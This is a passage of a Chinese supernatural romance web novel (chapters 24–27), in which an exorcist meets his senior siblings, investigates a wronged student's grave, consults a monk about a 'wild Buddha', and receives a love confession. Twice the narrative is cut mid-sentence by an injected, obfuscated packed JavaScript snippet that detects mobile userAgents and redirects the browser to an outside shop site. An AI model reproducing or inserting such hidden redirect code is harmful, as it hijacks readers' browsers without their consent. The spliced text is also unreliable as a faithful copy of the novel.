陆叙莫名其妙管他叫老公,不是因为亲近,纯粹就是为了恶心人。 至于为什么他会觉得叫人老公能把人恶心到——面前这位师兄就是活生生的例子。 温白看了陆修望一眼,又看了看陆叙,似乎想说什么,最后还是没开口。 陆叙浑然不觉,还在那絮絮叨叨:“老公,你是不是又变丑了?再这样下去,我老婆肯定得休了你。” 温白听着他念叨,脸上的无奈渐渐变成了纵容的笑意。 “你小子倒是过得挺滋润,”他仔细打量着陆叙,“怎么感觉长肉了?” 又略带关心地问:“最近有没有好好运动按时吃药?” 陆叙指了指陆修望,露出一个得意的笑容:“你不知道,我这小老公,那可是个相当牛逼的人物。现在他包养我,我只用把他伺候好,每天吃香的喝辣的……” 温白赶忙打断他:“你又在这胡言乱语什么?!” 陆叙握住他的手,一脸真诚地安慰道:“你放心,他虽然年纪小很会折腾人,但我是不会嫌弃你的。” 年纪小会折腾人吗?陆修望想,以后倒是可以试试。 温白闻言却是彻底绷不住了,剧烈地咳嗽起来,陆叙赶忙拿纸巾捂住他的嘴。 陆修望看着这一幕,心里忽然涌上一种很复杂的情绪。 陆叙总说,干这一行的人缘分浅薄,身边的人来来去去,留不住。 和他相处的这两个月,陆修望一直觉得,这人虽然看起来跳脱不着调,每天絮絮叨叨话很多,但其实很孤僻。 从没见他和什么朋友碰面,游戏好友列表里也没几个人,偶尔提起老郑、许瑶,也总是轻描淡写一句金钱交易带过,但陆修望看得出来,他其实挺喜欢这两人,但却不愿意过多亲近他们。 所以他一直很心疼陆叙,也很好奇,总想去了解他经历过什么,总想知道他自己一个人处理那些说不清道不明的事时,会有多危险。 但现在,看着陆叙被师兄纵容着,看着温白脸上那种无奈又宠溺的笑意,他心里忽然不再是嫉妒了。 而是庆幸。 原来陆叙挺好的,有人关心他,记挂他。 这些人在过去,肯定也把他保护得很好,照顾得很好,所以他现在很厉害很有本事,但对人却少有防备。 陆修望垂下眼,嘴角微微勾起。 他想,他要对陆叙再好一点。 更好一点。 要让他比以前更轻松,更快乐,更安全。 这或许才是两人命中注定要相遇的意义。 25.第 25 章 没过多久,包间的门被推开,进来的女人气场很足,黑色大衣剪裁利落,头发一丝不苟地梳在脑后,眉眼间带着股生人勿近的凌厉。 陆叙立刻坐直了身子,朝她挥手,语气却很轻佻:“嗨,老婆,想我没?” 那女人脚步顿了一下,脸上严肃的表情裂开一瞬,嘴角抽了抽,极力压制着情绪。 陆修望心里有点想笑,这位师姐看来又是一个常被陆叙恶心的人。 对方径直走到温白身边坐下,抬手倒了杯茶,慢条斯理地喝了一口,缓了缓情绪,这才把目光移到陆叙身上。 “说吧。”她放下杯子,语气严厉,“这回又惹什么事了。” 陆叙嘿嘿笑了两声,开始简单描述事情经过。说到那三个人的情况时还算正常,但提到自己的梦境,他的语速明显快了起来,几句话就想带过去。 温白的眉头皱了起来,方知衡的表情也沉了下去。 陆修望坐在旁边,看着这两人的反应,心里也不安起来。 陆叙说得轻描淡写,但这两个人的神色分明不对,这件事恐怕比陆叙表现出来的要严重得多。 另一边,陆叙话音刚落,方知衡就开口了,那语气冷得能掉冰渣子。 “陆叙。” “在,老婆大人。” “你是不是脑子有病?” 陆叙眨了眨眼,立刻换上一副可怜巴巴的表情:“亲爱的,有话好好说,别这样,我害怕……” “让你待在家里好好休息调养身体,你不听。”方知衡并不惯着,直接开口打断,“非要跑出来接活,还把自己搭进去了。” 她往前倾了倾身,盯着陆叙的眼睛:“现在好了,惹上这种东西,你打算怎么收场?” 陆叙往后缩了缩:“我这不是……” “你这不是什么?” 温白见状,赶紧打圆场:“师姐,消消气,小叙都这么大了,这种事他能处理——” 方知衡侧过头,看了他一眼。 温白把后半句话咽了回去。 她重新看向陆叙,眉头拧得更紧了:“你知不知道你是什么状态?还敢往这种事里掺和?” 陆叙难得没有嬉皮笑脸。 他垂下眼,声音闷闷的:“知道了,师姐,处理完这件事,我真不干了。” 语气听着特别委屈,陆修望听着却忍不住露出一个笑容——肯定是装的。 下一秒,陆叙的脚在桌子底下狠狠踩了他好几下。 陆修望一头雾水,疑惑地看向他,陆叙却偏过头去,不和他对视。 方知衡盯着陆叙看了好一会儿,那双凌厉的眼睛里,怒气一点点褪去,最后只剩下无奈和心疼。 她叹了口气,语气终于软下来:“行了,收起你这套。” 她靠回椅背,抬了抬下巴:“说说吧,打算怎么办。” 陆叙立刻来了精神,脸上又挂起那副没心没肺的笑:“简单,我先去A国摸摸情况,实在不行就回去找老登呗,这种小卡拉米他老人家随便解决。” 温白皱了皱眉,似乎想说什么,又看了眼方知衡的脸色,没开口,方知衡没接话,只是看着陆叙,目光复杂。 陆修望把这一切看在眼里。他越来越确定,陆叙的身体状况恐怕有问题,而且处理这些事,也不是他说的心力损耗这么简单。 饭后,方知衡叫住了陆修望。 “你先留一下。” 陆叙回过头,眼神里带着点警惕:“老婆,这是 我小老公,他可不会说我坏话,你别瞎打听。” “闭嘴吧你。”方知衡瞥了他一眼,“大人说话小孩别插嘴。” 陆叙转而警告陆修望:“你要是敢说些有的没的,今晚就自己睡地毯。” 陆修望好笑地点了点头,陆叙才放心离去。 方知衡坐回椅子上,打量着面前的年轻人。 “你叫陆修望?” “对。” “和陆叙什么关系?” 陆修望没有隐瞒,把自家的情况简单说了一遍,末了又补充道:“我很感激他,也很喜欢他。现在我想和他一起做事,不过还在考察期。” 方知衡挑了挑眉。 这小子年纪不大,说话倒是坦荡。“很喜欢他”几个字说出来,不扭捏也不遮掩,就那么大大方方摆在台面上。 她打量了陆修望几秒,八字纯阳,还是个处男,看起来品行还不错,她这才换了个话题:“我们这一家人,都不太爱和外人深交。” 陆修望没接话,安静地等着她的下文。 “陆叙愿意和你玩在一起,愿意和你开那些没正形的玩笑。”方知衡笑了笑,“说明你俩有点缘分。” 她看着陆修望的眼睛,语气变得认真了些:“也说明他不讨厌你,甚至可能……还挺喜欢你的。” 虽然陆叙的喜欢和他的喜欢并不相同,但陆修望心里却像是被什么东西轻轻撞了一下,暖意一层层漾开。 他忍不住问出了心里的疑惑:“方师姐,怎样才算有缘?” 方知衡似乎没想到他会问这个,微微愣了一下。 “承者为前,负者为后。”她说,“人与人的相遇,是累世业力的交织,你今生遇见的人,可能是好几代人的善恶纠缠在一起,才走到彼此面前。” “这种东西,强求求不来,推拒也躲不开。”方知衡的声音平静,却让人信服,“该来的自然会来,该散的也留不住。” 她看向陆修望,目光平和。 “道法自然,心之所向,便是你该走的路。” 陆修望垂下眼,消化着这番话。 “多谢师姐指点。” 方知衡点了点头,神情却渐渐严肃起来。 “还有一件事。” 她从包里取出一个小布袋,放在桌上推到陆修望面前。 “这里面有几件法器,你收好。你用不上,但可以给家里人戴着保平安。” “陆叙这个人,你也看出来了,玩心重,说话不着调,什么都不当回事。”方知衡说,“但这件事牵扯很深,比他说的要复杂得多。” 她盯着陆修望的眼睛,语气加重了几分:“纯阳之躯很难得,接下来这段时间,麻烦你跟紧他,别让他一个人乱来,别让他出事。” 陆修望没有去拿那个布袋。 他对上方知衡的目光,神情认真:“我会的。” 方知衡看着他,几秒后,眉眼间终于松动了些,露出一丝满意。 她把东西塞进陆修望口袋里,站起身:“去吧,好好干。” 陆修望走到门口,又停下脚步,回过头。 “方师姐,陆叙的身体……到底是什么情况?” 方知衡的动作顿了一下,她没有直接回答,只是说:“他自己会告诉你的。” “如果他愿意的话。 ” 方知衡和温白有法事在身,没办法陪陆叙去坟地。 临走前,两人又仔细叮嘱了好一阵——小心行事,别逞强,有情况及时联系。方知衡说这些话的时候,目光一直落在陆叙身上,像是怎么看都不放心。 陆叙笑嘻嘻地一一应下,挥手和他们告别。直到车门关上,那张笑脸才垮下来。 他靠进座椅里,长叹一口气:“你要是知道我有如此凶悍的老婆和如此懦弱的老公,你也会可怜我的。” 陆修望没接这个话茬。 他发动车子,目光落在前方的路上,忽然开口:“你可以信任我。” 陆叙正窝在副驾里养神,闻言睁开眼,有些莫名其妙: “我挺信任你的吧,都让你这个包藏祸心的人和我睡一起了。” “我是说,”陆修望的声音放得很轻,像是在努力让自己听起来随意些,“不管你梦里遇到了什么,或者牵扯进什么事,都可以告诉我。” 他顿了一下,又补充道:“我们不是合伙人吗,我会一直陪着你的。” 陆叙愣了一下,陆修望这话说得认真,不像随口敷衍。 他侧过头,看着陆修望的侧脸,这人神情专注目视前方,明明刚大学毕业没多久,看起来却非常可靠。 心里不由得涌上一点暖意。 陆修望这人确实不错,虽然被他骂过,但不记仇,知恩图报,是非分明,还有文化,做事雷厉风行。虽然不服输总爱故意惹人生气,但体贴倒真挺体贴。 他正想夸两句,又想到刚刚饭桌上这人一声不吭看他被骂,又嘀咕道:“说这种话有什么用,你分明就是个无能的丈夫。” 陆修望皱眉:“我哪里无能?” 这话一出口,陆叙脑海里猛地闪过那天早上的画面,尴尬和崩溃裹挟着莫名其妙的燥意往脸上涌。 他赶紧闭上眼,心跳有点乱。 怎么就想到那种蠢事了? 自己怎么就和陆修望混这么熟了? 开这种玩笑合适吗? 是不是有点过了? 陆修望见他半天不说话,疑惑地偏过头看了他一眼:“什么意思?” “没什么意思。”陆叙冷哼一声,靠向另一边。 有点烦,语气也不好:“你这个不知廉耻的东西别和我说话。” 见他莫名其妙又炸毛,陆修望忍不住弯了弯嘴角,没再追问。 周成的坟不在市里的公墓,而是在他老家村里的山上。 两人沿着杂草丛生的小路往上走了好一阵,才看到村里的坟地,缓坡上稀稀拉拉躺着几个坟包,周成的在最边上,碑前的杂草长得快有半人高了。 陆叙站在坟前,环顾四周,眉头渐渐皱了起来。 “风水破了。” 他蹲下身,拨开碑前的杂草,指了指坟的右侧,那里有一道浅浅的沟壑,像是被雨水常年冲刷出来的。 “这个位置本来不算差,但气口破了,风水就散了。”他站起身,拍了拍手上的土,“当初做法事的人敷衍得很,这点都没处理好,他父母似乎也不怎么上心,祭拜的痕迹都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122568|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有。” 陆修望看着那座孤零零的坟,没有说话。 “贫困生,从村里考进市里最好的重点高中。”陆叙的声音低下去,带着点说不清的情绪,“结果遇上一群畜生。” 他沉默了两秒。 “这种死法,怎么可能没有怨。” 陆修望想起陆叙之前说过的话,开口问道:“但你说过,梦里那个东西没有怨气。” “是没有。”陆叙点头,“但昨晚那个,我猜是他,像是被什么东西驱使着,怨气还没来得及凝聚。” “能驱使鬼魂的东西?”陆修望皱起眉,“游师?” “要么是游师,要么是山精野怪。”陆叙看着那块破败的墓碑,眼里闪过一丝不忍,“A国那边佛教氛围浓厚,路边佛、古曼之类的东西很常见。那三个人在国外待了那么久,我猜应该是野佛。” 生前没过上好日子,死后还要被利用,陆叙收回目光,转身往山下走。 “不过这些都是推测。想确认的话,还得去见见山提。” 两人休整一晚,第二天便飞往A国。 陆修望的人早就安排好了一切,山提大师被接到陆家在当地的一处别墅,位置清幽,远离闹市,院子里种着几棵菩提树,倒确实适合修行的人住。 陆叙站在院子里环顾四周,忍不住感慨。 陆家的产业不仅遍布国内,在国外也是风生水起。这么大的家业,长孙不去继承,偏偏跟着他干这些不务正业的事。 也不知道这件事最后会有怎样的因果。 山提大师早已等在大厅门口,他比陆叙想象中年轻许多。身形清瘦,一身素色僧袍,面容平和,眉眼间透着股慈悲的气息。 他听完陆叙的描述,沉默了片刻。 “施主猜得不错。”山提开口,声音无喜无悲,“确实是野佛。” 陆叙心里一沉。 虽然早有预感,但亲耳听到确认,还是觉得棘手。 “不过此事说来话长。”山提看了看天色,“二位舟车劳顿,今日先休息吧。明日我带你们出去走走,届时再详细说明。” 陆叙还想追问,被陆修望拉住了。 “听大师的。”陆修望看了眼他的脸色,也有些担忧,“你看看你这黑眼圈,先休息。” 回到房间,陆叙倒是闲不下来,掏出手机又玩起了游戏,陆修望拿他没办法,借口先去洗漱退出了房间。 山提大师还在原处,像是早就知道他会来。 “施主有事要问?” 陆修望在他对面坐下,沉默了一会儿,才缓缓开口。 “大师,我想请教一件事。” “施主请说。” “我……”他斟酌着措辞,“我觉得自己遇到了一段缘分。” 山提没有说话,只是静静听着。 “我很想珍重这段缘分。”陆修望垂下眼,声音放得很轻,“但总是心烦意乱,患得患失。” “找人择日,都让我耐心等待,不要贸然行事,可我每天心急如焚……” 话说到一半,他没有继续。 山提看着他,目光平和:“施主可曾想过,你遇到的是孽缘,还是善缘?” 陆修望抬起头。 “让你执着沉迷、痛苦疯癫的,是恶缘。”山提娓娓道来,“让你认清自己、追求善果的,是善缘。” “再好的缘分,若是加重了‘我执’,便会变成障道之缘。” 陆修望静静听着,眉头微微皱起。 “但无论是哪一种,此有故彼有,此生故彼生。”山提继续说道,“缘分的尽头,都是离别。” 夜风吹过院子,菩提叶沙沙作响,像是有人在低声诵经。 “人生在世,聚散无常。”山提说,“人与人之间的因缘际会,是累世因果的显现,也是你还债、报恩、结善缘的契机,如何对待这段缘分,取决于你自身。” 他看着陆修望,目光平静而深远。 “至于时机……缘起缘灭,本无定数。等待是修行,不等待也是修行。” 山提的声音像一滴水砸入深潭: “施主要问的不是时机,而是自己的心。” 陆修望沉默了很久,山提幽深的目光让他思绪逐渐沉重。 窗外突然传来的一阵清脆的鸟鸣,陆修望一个激灵回过神来。 “我明白了,多谢大师指点。” 他站起身,朝山提合掌行礼。 陆修望转身往回走,脚步比来时轻快了许多。 他想起师姐的话,还有大师的点拨。 心之所向,便是该走的路。因缘际会,都是人生修行。 生离死别,终有一日,无法避免。 所有缘分到最后那一刻都是分别。 既然如此,他为什么要浪费时间去等? 他不想等了。 他不想让善缘变成孽缘。 他现在就要告诉陆叙。 他喜欢他。 26.第 26 章 陆叙揉了揉眼睛,瞥了眼屏幕右下角,已经快一点了。 “啧,陆修望这狗东西。”他伸了个懒腰,椅子吱呀一声往后仰,“就这么不负责任地跑了,把客人留在这里不管不顾算什么。” 正盘算着用什么理由把陆修望叫回来,门外传来了敲门声。 陆叙打开门,陆修望正站在门口,手里抱着一大捧花,枝叶上还带着夜露,剪口参差不齐,不同种类叫不出名字的花混在一起,旁边点缀着绿色枝条。 一看就是刚从后院折的,因为此人裤腿上沾着露水,头发里还挂着几片枯叶,看起来非常潦草。 月光从身后透进来,在地板上拉出一道修长的影子,陆修望一只手插在裤袋里,靠着门框,眉梢微挑,似笑非笑地看过来。 “哟。”陆叙眼睛一亮,故意拖长了调子,“怎么又来了?想我了?” 他就想看看陆修望那张傲慢的脸被他恶心到的样子,但陆修望一如既往毫无反应。 他盯着陆叙看了几秒,目光带笑,然后说:“嗯,想了,特别想。” “……哦?” 陆叙挑了挑眉,以为自己听错了。 陆修望已经越过他走进房间,顺手把那捧花塞进他怀里,花香浅淡,还带着点夜晚的寒意。 “等等。”陆叙抱着花跟进来,有点不明所以,低头看了看怀里这捧卖相堪忧的东西,“你……破坏花草干嘛?” “没办法。”陆修望叹了口气,“凌晨一点,让人现场摘了再运过来有点来不及,只能自己凑合做一捧。” “所以你大半夜发什么疯……” “心如膏火。”陆修望声音不高,但每个字都清晰,“等不到明天了。” 陆叙觉得哪里不对劲。 空气里弥漫着花香,还有什么别的东西,让他的心跳开始变得不太规律。 “怎么感觉你在憋坏。”他低头闻了闻那束花,故意扯开话题:“不过老公你对我可真好,大半夜还专程给我送花这种屁用没有的东西——” “再叫一次。” 陆修望突然出声,打断了他。 “啊?” “叫我老公那句。”陆修望看着他,眼神比平时深了几分,“再叫一次。” 陆叙眨眨眼,这人今天怎么自己找不自在? 他走到陆修望旁边,笑嘻嘻地配合:“老公,亲爱的——” “嗯,陆叙,我听到了。” 突然听到陆修望叫自己的名字,而且意味不明,陆叙的声音瞬间卡在喉咙里。 这人咋了? 陆修望却直直地看过来,那双平时冷峻的眼睛此刻亮得有些灼人:“以后这些开玩笑叫老公的话,可以停了。” “我哪有开玩笑。”陆叙以为他被恶心到了,忍不住得意地笑,“我可是真把你当我老公——” “我也是说真的。” 陆修望往前迈了一步,距离近得陆叙能看清他眼底的复杂的情绪。 他一字一顿,声音低沉,却带着不容置疑的认真: “我喜欢你。” 房间里突然安静下来,只剩下彼此的呼吸声。 “不是开玩笑,是真的喜欢你。”陆修望的目光牢牢锁在陆叙脸上。 “真想当你老公,想当你真的老公,想听你真心实意叫我老公。” 陆叙整个人僵在原地,感觉头发都快炸起来了。 花香在鼻尖萦绕,月光从窗外倾泻进来,一切都安静得不真实,只有心跳声在耳膜里轰鸣,提醒着陆叙一件诡异的事正在发生。 几秒后,他干笑一声:“老公……老铁,你别吓我啊。” “我没想吓你。”陆修望往前又迈了一步,轻轻牵住他的手腕,“我早就喜欢你了,所以我一直想和你在一起,想保护你。” 陆叙还在发愣,陆修望看着他脸上表情一寸寸裂开——和他师兄师姐一样,非常好玩。 陆修望嘴角不自觉微微扬起,眼底浮起一点促狭的笑意:“你想想,我这个体质,纯阳之躯,百邪不侵,天然的护身符,以后你害怕都可以抱着我睡。” 陆叙捕捉到关键词,回过神来立刻反驳:“我怕个屁!” 陆修望声音温柔带笑:“行行行,你不怕,我怕行了吧。” 陆叙被他这突如其来的画风转换噎了一下:“你在推销自己?” “是。”陆修望神色不变,“所以你会喜欢吗?陆家的那些东西不提,我虽然才毕业,但我自己不靠家里已经赚了很多钱了,以后你想住什么样的房子,想要什么样的工作室,我都会努力实现。” 他看向陆叙:“你不是老说自己没钱,抽卡手气不太好?以后我的钱都是你的,你随便抽,抽到保底,抽到你不想再抽,扔仓库里看着玩。” “你用钱砸我?”陆叙抬眼撞进他认真的双眼,声音变得有点不自然。 “不是砸你,是想让喜欢的人快乐幸福,无忧无虑。”陆修望认真看着他,“我体质好,聪明能干,无不良嗜好,年轻有钱,长得帅拿得出手,而且……” “而且什么?” 陆修望眼神温柔: “二十一年,只对一个人动过心。” 陆叙愣住了。 “你之前不是老拿这个笑话我吗。”陆修望的语气平静,眼神却认真,“现在我回答你——我以前就是不行,因为我总觉得,冥冥之中,我在等着什么重要的东西。” 他抬手,摸了摸陆叙的头发,动作轻柔,小心翼翼的。 “现在让我等到了。” 陆叙的脸腾地烧了起来,他下意识想后退,却被陆修望揽住腰,顺势带到沙发上坐下。 “大哥,你别闹……”陆叙干笑,试图找回场子,声音却不受控制地乱飘,“你是不是被鬼上身了?我找山提大师给你驱一下邪……” “没办法,时间紧迫,所以听起来有点奇怪。”陆修望收回手,唇角微微勾起,“我只能想到什么就说什么,反正意思你应该明白了。” “可……我们……那个,你不觉得……” “你是不是也喜欢我?”见陆叙卡壳,陆修望突然发问。 陆叙下意识反驳:“我喜欢个屁,你少自恋……” “那你看着我说。” 陆修望声音放轻了,却带着不容抗拒的力量: “如果你真的不喜欢我,讨厌我,看着我的眼睛,告诉我,我不会再来烦你。” 陆叙硬着头皮去看他,月光下,陆修望的眉眼格外清晰,那双眼睛颜色很深,平时总是带着点与生俱来的傲慢和不屑,此刻却只倒映着他的身影。 准备好的话全都卡在喉咙里。 “说不出来?”陆修望往前又靠近了一点,眼里的笑意却再也藏不住。 “你不是说你只说实话吗?除非——” 他停顿了一下,嘴角微微上扬。 “你心虚。” “我才没有!”陆叙再也忍不了了,抬手就要把怀里的花砸他脸上。 手举到一半,又停住了。 他低头看了看那捧卖相不怎么样的乱七八糟的花,花瓣上还沾着露水,在月光下泛着微微的光泽。 虽然丑了点,但毕竟价值不菲,还挺新鲜,还有点好闻…… 总之,砸坏了怪可惜的。 陆叙咬咬牙,把花往旁边一放,转手抄起桌上的一小叠报纸,狠狠朝陆修望砸过去。 “你给我滚开——” 陆修望起身侧头躲开,报纸擦着他的耳朵飞过去,啪地一声摔在地上。 他看着陆叙气鼓鼓的样子,忍不住笑了。 “舍不得砸我送你的花?” “谁舍不得了!”陆叙又随手抄起一本杂志,“我就是觉得砸你这狗东西用花太浪费!” 杂志飞过来,陆修望抬手接住,随手扔到一边。 “还有吗?” “有!” 陆叙把能扔的东西都扔了个遍——抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128723|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枕、玩偶、毯子、纸巾。 陆修望全都轻轻松松躲过去或者接住。 “扔完了?” 陆叙喘着气瞪他,发现桌上已经空了,只剩下那捧花安安静静地躺在一边。 陆修望看向四周,提醒他:“茶杯、花瓶、机箱、显示器、挂画,都是你的,都可以砸。” 陆叙打量着茶杯,太贵了,赔不起。 又看了看那台价值不菲的显示器,勉强能赔,但这么重的东西让他怎么砸?! 其他东西更是堪比大规模杀伤性武器。 “你这是……” “嗯,耍赖。” 陆修望很坦然地承认。 他走过来,在陆叙面前蹲下,仰头看着他。 这个姿势让陆叙有种奇怪的错觉,好像下一秒这人就要掏出个戒指盒,他吓得赶忙把手揣进口袋里。 陆修望执拗地盯着他:“给我个答案。” 陆叙心跳得厉害。 “那你就等着吧!”他梗着脖子,“反正我没什么可回答……” “行,我等着。” 陆修望伸手握住陆叙的手腕,把他的手从口袋里掏出来,力道很轻。 然后把一个用草临时编成的指环塞到他手里,拇指在陆叙的手腕内侧轻轻摩挲,感受着那里又快又乱的脉搏。 “你看,”陆修望嘴角慢慢扬起来,“心跳出卖你了。” 陆叙瞬间炸了:“我这是被你气的!” 他猛地站起来,想趁这人没防备踢他一脚解气。 但陆修望反应更快。 他顺势握住陆叙的手腕往下一带,自己借力站起来,把陆叙抱进怀里,陆叙整个人被拽得踉跄了一下,等反应过来的时候,已经跌坐在陆修望腿上了。 “你——” 陆叙想起身,腰却被一只手稳稳握住。 陆修望的掌心贴着他后腰,隔着薄薄的睡衣,温度烫得惊人。 “别动。”陆修望的声音低下去,“小心摔下去。” 两个人的距离太近了。 近到陆修望能看清陆叙脸上每一处细节,这人睫毛微微颤动,像是在掩饰慌乱,又像是脑子里正飞速转着什么鬼主意,但那双平时灵动的眼睛却有些不安,视线飘忽,从陆修望的眼睛滑到下巴,又猛地移开。 那颗落在鼻侧的小痣,平日里看起来总是很轻佻,此刻却显得特别无辜。 陆修望忍不住勾了勾嘴角。 这人平时一张嘴能把人气得半死,耍起无赖来更是一套一套的,此刻倒像是真没招了。 他忍不住轻轻捏了陆叙后腰一把,想帮助他加速大脑运转。 陆叙浑身一僵,看清陆修望眼里的揶揄,他忍不住骂:“陆修望你太不要脸了!” “嗯。”陆修望重新对上他的目光,“太要脸怎么追得到你。” 房间里安静下来,窗外的月光静静流淌,花香被风激了出来。 陆叙瞪着陆修望,陆修望也平静地看回来。 谁也不退让。 半晌,陆叙先败下阵来:“你……你起码让我想想啊!” “那你好好想。”陆修望点头,听起来非常好说话,“我陪你想。” 话音刚落,他握住陆叙的腰,把人往上提了点,然后顺势起身。 陆叙下意识抱住他,双腿也环住他的腰,下一秒猛地反应过来,整个人剧烈挣扎起来。 陆修望轻笑一声,安抚似的拍了拍他的背,没让他得逞,然后走到床边,把人轻轻放下去。 陆叙还没来得及骂人,一条被子已经盖了上来,把他裹得严严实实。 陆修望俯身,在他手背上落下一个吻。 “你先想着,”他直起身,声音里带着笑,“我去洗漱。” 陆叙看着他从容转身的背影,心脏还在狂跳,他抓过被子,崩溃地捂住自己的脑袋。 早知道这个人如此难缠且不要脸,他当初就不会给他好脸色看! 27.第 27 章 陆叙这一觉睡得安稳,大概是因为陆修望抱着他,梦里那东西没敢太嚣张。 醒来时屋内一片漆黑,只有一点点亮光,仔细一看居然已经十一点多,陆修望坐在一旁玩手机,听见动静,头也没抬:“醒了?早饭在桌上。” 语气寻常,仿佛昨晚什么都没发生过。 陆叙僵了一瞬,起身溜进浴室,昨晚的事……明明不想再理会陆修望,但关了灯以后他还是装作睡不安稳,厚着脸皮钻进对方怀里。 陆叙把脸埋进掌心,闷闷地骂了一声。 丢人丢到家了。 到了山提所在的院子,陆叙又恢复了平日里那副吊儿郎当的样子。 他坐在山提旁边,端着杯茶,漫不经心地吹着茶沫,眼神飘忽,就是不往陆修望那边看。 陆修望走过来,他就挪到山提另一边,陆修望绕过去,他又绕回来。 山提看着两人这番你追我躲的架势,眼底浮起一丝笑意,却什么都没说,只是轻咳一声,把话题拉了回来。 陆叙立刻正襟危坐,一副认真听讲的样子,陆修望在他对面坐下,目光含笑打量着他,陆叙只当没看见。 “最初前来求助的唯有赵阳阳一人。”山提缓缓开口,“此人与另外二人不同,他来时神情惶恐,言语间多有悔意,是真心忏悔之人。” 他继续道:“据他所言,当年事发后,他夜夜难眠,悔恨不已,此后他让父母赔偿了不少钱财给受害者父母,以求弥补。” “所以他就心安理得了?” “见他诚心悔过,贫僧便动了恻隐之心。”山提叹息一声,“只是后来贫僧发现,纠缠此人的,并非寻常怨鬼。” “更似一种气场。”山提沉吟道,“它裹挟着怨念,却并非赵阳阳身上的因果,而且也不止怨气,还夹杂着复杂的三毒,贫僧再三询问,赵阳阳才想起一事。” “他与另外二人曾往象山远足。”山提说,“象山地势险峻气候恶劣,雨季前后景区只开放极小一部分,那三人胆大妄为,穿过景区后,竟又擅入禁行之地。” 陆叙皱起眉。 “结果他们在山中迷失了方向,整整一天一夜未能脱困。直到后来,他们遇见了一尊佛像。” “什么佛像?” “一尊透亮华丽的菩萨像,在山中一处幽深神圣的洞穴之内。”山提说,“据赵阳阳回忆,三人当时沿着景区后山的小路一直往前,不敢回头,早已精疲力竭,近乎绝望。见到那尊佛像后,不知为何,心中忽然安定下来。他们跪拜祈祷,而后便寻到了出山的路。” 陆叙沉默了。深山野林中的路边佛,大多不是什么正经东西,跪拜便等于签下契约,早晚要还。 “贫僧当时便怀疑这尊佛像被山精野怪占据了躯壳。”山提继续道,“但还没来得及和他详谈,他的两位同伴也寻了来。” 说到这里,山提的语气淡了几分。 “此二人与赵阳阳截然不同。他们并无悔过之心,言语傲慢,而且对受害者颇有不敬,还试图要挟贫僧帮他们脱困。” 他轻叹一声:“赵阳阳原本尚存一丝清明,与此二人重聚之后,又开始摇摆不定,他未能认清自身症结,也未能坚守本心。” 陆叙了然。 “因果之事,须由己身承担。”山提平静地说,“贫僧能指点迷津,却无法替他们了结业障,他们走到今日这一步,是自己的抉择。” 他看向陆叙,目光平和却意味深长: “施主是方外之人,想必也明白,有些因果,旁人是代替不了的。” 陆叙若有所思,朝山提欠身:“多谢大师指点迷津。” 山提微微颔首,目光在两人之间游移了一瞬:“二位接下来有何打算?” “赵阳阳说那尊佛在山洞里,”陆叙说,“但那种情况多半是障眼法。人在极端疲惫和恐惧的状态下,精神防线最薄弱,看到的东西未必是真的。” 陆修望皱眉:“你是说,他们的迷路或许是鬼打墙?那个山洞根本不存在?” 陆叙赞扬地点了点头:“他们方向感早乱了,就算看到了那尊佛,也说不清楚自己当时到底在哪个位置,按赵阳阳的描述去找,等于大海捞针。” 山提接过话:“野佛藏匿之处,往往有遮蔽之力,即便近在咫尺,常人也难以察觉。” “所以不能按常规思路找。”陆叙直起身,看向陆修望,“得换个方法。” 陆修望已经习惯了他这种抛出半句话的风格,自动补充说:“我找人去查象山的地图。” “先查老地图和古地图吧。”山提说,“象山禁行之前,山里是有人活动的,百年前,山沟里还有村落,寺庙、祠堂都该有迹可循,禁行后村民陆续搬离,新地图反而没多大参考价值。” 三人坐在一起,反复对比新老地图,最终确定了十二处可能的建筑,六座小庙,四间山神祠,还有两个祭祀的石龛。其中三处在景区范围内,剩下都禁行区域。 陆修望看了一眼那些标记的位置,分布得很散,不在一条线上。 陆叙则盯着水文图出神:“象山地势西高东低,主要河流从西北往东南方向走。这几十年来山体滑坡、泥石流不是一次两次,佛像如果年代久远,很有可能已经不在原来的位置了。石质的东西重,被泥石流裹挟之后大概率沉在下游的沟壑或者河床里,但如果体量不大,也有可能被冲到更远的地方。” 陆修望在地图上指出几条可能的冲刷路径。 “综合遗址位置和水流方向,排除了景区内的三处和靠近山脚的两处,我们可以先勘查这几处。” 再对比地形图,几个区域分散在象山的中段和深处,彼此之间隔着山脊和密林,没办法走直线串联:“如果逐个排查,光是在山里绕路就要花不少时间。” “所以得确定方向,不能瞎走。”陆叙拍了拍他的肩,转头看向山提,“大师,能否劳烦您帮我起一卦?” 山提点了点头,起身走到院中一张矮桌前坐下,取了自己包里的纸笔和一只陈旧的龟壳,陆叙跟过去,在他对面盘腿坐好。 山提开口:“施主想以何法起卦?” “梅花。”陆叙说,“六爻太慢,奇门排盘在这边不太合适,梅花取象快。” 山提微微颔首,将龟壳推到一边,拿起笔,在纸上写下当日的年月日时干支。 陆叙盯着那几行字看了几秒,伸手接过笔,在下方快速写了一串数字,以年月日之数相加除八取上卦,再加时辰数除八取下卦,最后以总数除六定动爻。 “上卦艮,下卦坎。”山提低声念出卦象,“山水蒙,动爻在三。” “蒙卦。”陆叙放下笔,靠回椅背,松了口气,“还可以。” 陆修望听不太懂,但看他的表情,不像是坏消息:“什么意思?” 